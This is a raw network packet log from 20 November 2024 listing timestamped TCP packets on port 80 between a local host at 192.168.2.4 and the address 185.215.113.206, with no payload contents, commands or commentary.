Nov 20, 2024 12:57:55.033926964 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.033952951 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034188032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034198999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034210920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034219980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034230947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034254074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034276962 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034353971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034365892 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034375906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034385920 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034394979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034396887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034404993 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034415960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034416914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034450054 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034847975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034858942 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034868002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034878016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034893990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034915924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.034953117 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034964085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034974098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034979105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.034993887 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035022974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035275936 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035285950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035295963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035306931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035321951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035327911 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035332918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035350084 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035372972 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035406113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035419941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035448074 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035470009 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035896063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035907030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035917044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035924911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035933971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035943031 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035943985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035963058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035975933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035985947 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.035994053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.035994053 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.036005020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036014080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036024094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036025047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.036034107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036043882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036053896 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036056042 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.036063910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036073923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036083937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.036092997 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.036114931 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.036902905 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036914110 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036922932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036926985 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036936998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.036952972 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.036979914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.036998034 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037015915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037069082 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.037204027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037215948 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037247896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.037355900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037367105 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037377119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037385941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037395954 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037405014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037411928 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.037415028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037425995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037435055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037444115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037456036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037465096 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.037471056 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.037503958 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.037537098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038130999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038141012 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038151026 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038177967 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038192034 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038304090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038317919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038326979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038336992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038343906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038347006 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038366079 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038371086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038382053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038395882 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038414001 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038536072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038549900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038561106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038570881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038575888 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038583040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038594007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.038603067 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.038633108 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039355040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039366961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039376020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039385080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039395094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039395094 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039424896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039448023 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039531946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039541960 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039551973 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039563894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039570093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039573908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039583921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039599895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039629936 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039657116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039666891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039675951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039685011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039695024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039696932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039705992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039716005 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.039731979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.039762020 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.120955944 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.120995045 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121005058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121109009 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.121273994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.121315956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121326923 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121336937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121349096 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121361971 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.121396065 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.121623039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121634007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121644974 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121654987 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121665001 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121675014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121680975 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.121685982 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121697903 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121710062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.121732950 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.121953964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121964931 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121974945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121984959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.121994972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.122005939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.122008085 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.122026920 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.122047901 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.160216093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.165179014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377563000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377602100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377655029 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.377684116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377684116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.377696037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377707958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377726078 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.377746105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.377777100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377788067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377814054 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.377840996 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.377898932 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377909899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377921104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377928972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.377939939 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.377963066 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.377986908 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378025055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378036976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378068924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378082037 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378146887 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378156900 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378174067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378190041 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378202915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378287077 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378298998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378309965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378329992 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378356934 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378505945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378521919 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378531933 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378541946 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378549099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378552914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378563881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378573895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378582954 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378617048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378914118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378922939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378933907 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378942966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378952980 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378953934 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378964901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378976107 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.378976107 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378988028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.378998995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379012108 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379019022 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379041910 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379060030 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379273891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379317999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379405975 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379416943 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379426956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379436970 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379446983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379446983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379457951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379468918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379472971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379483938 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379492044 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379503965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379506111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379528046 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379549980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379832983 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379849911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379859924 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379873037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.379875898 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379899979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.379930019 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380124092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380134106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380143881 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380153894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380163908 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380167007 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380182028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380187988 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380217075 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380223989 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380228996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380239964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380249977 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380251884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380259991 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380270958 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380273104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380280972 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380291939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380302906 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380306005 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380315065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.380326986 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380346060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.380372047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381062031 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381072998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381082058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381092072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381102085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381108999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381112099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381124020 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381133080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381133080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381143093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381156921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381169081 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381180048 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381180048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381191015 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381197929 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381201982 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381211996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381222010 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381231070 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381232023 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381263018 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381283045 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381943941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381967068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381978035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381987095 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.381990910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.381998062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382002115 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382019997 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382020950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382034063 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382042885 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382042885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382054090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382064104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382074118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382077932 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382085085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382093906 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382095098 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382107019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382116079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382122040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382127047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:57:55.382136106 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:57:55.382138968 CET	80	49756	185.215.113.206	192.168.2.4
